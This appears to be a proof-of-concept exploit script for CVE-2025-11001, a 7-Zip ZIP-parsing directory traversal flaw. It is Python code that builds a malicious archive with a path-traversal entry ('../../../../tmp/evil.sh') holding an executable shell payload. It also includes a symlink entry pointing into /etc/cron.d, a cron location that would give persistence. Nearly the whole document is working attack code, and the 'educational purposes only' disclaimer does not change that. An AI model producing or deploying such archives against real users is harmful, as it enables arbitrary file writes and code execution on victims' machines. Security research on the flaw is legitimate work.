CVE-2025-11001 7-Zip ZIP文件解析目录遍历远程代码执行漏洞

#!/usr/bin/env python3 # CVE-2025-11001 PoC - 7-Zip ZIP Symbolic Link Directory Traversal # Generate malicious ZIP file with symbolic link for path traversal import zipfile import os import sys def create_malicious_zip(output_path, target_dir='../../../../../../../../tmp'): """ Create a malicious ZIP file containing symbolic link entries that can cause directory traversal during extraction. """ try: with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as zipf: # Create a symbolic link entry pointing to arbitrary directory # The external file attribute is set to indicate a symbolic link # Target path traversal: ../../../tmp/pwned link_target = f"{target_dir}/pwned" # Create a file entry that will be written via the symlink malicious_content = b'#!/bin/bash\n# Malicious payload\necho "PWNED" > /tmp/pwned.txt\n' # Add a file that will traverse to unintended location # File name contains path traversal sequences info = zipfile.ZipInfo(filename='../../../../tmp/evil.sh') info.external_attr = 0o755 << 16 # Executable file attribute zipf.writestr(info, malicious_content) # Alternative: Create symlink entry symlink_info = zipfile.ZipInfo(filename='malicious_link') symlink_info.external_attr = 0o777 << 16 | 0o120000 # Symlink attribute zipf.writestr(symlink_info, b'../../../../etc/cron.d/malicious_task') print(f'[+] Malicious ZIP created: {output_path}') print(f'[*] Target traversal path: {target_dir}') print('[*] When extracted with vulnerable 7-Zip, files will be written to unintended locations') except Exception as e: print(f'[-] Error creating ZIP: {e}') return False return True if __name__ == '__main__': output = 'CVE-2025-11001_poc.zip' create_malicious_zip(output) print('\n[!] This PoC is for educational and security research purposes only.') print('[!] Do not use for unauthorized testing or attacks.')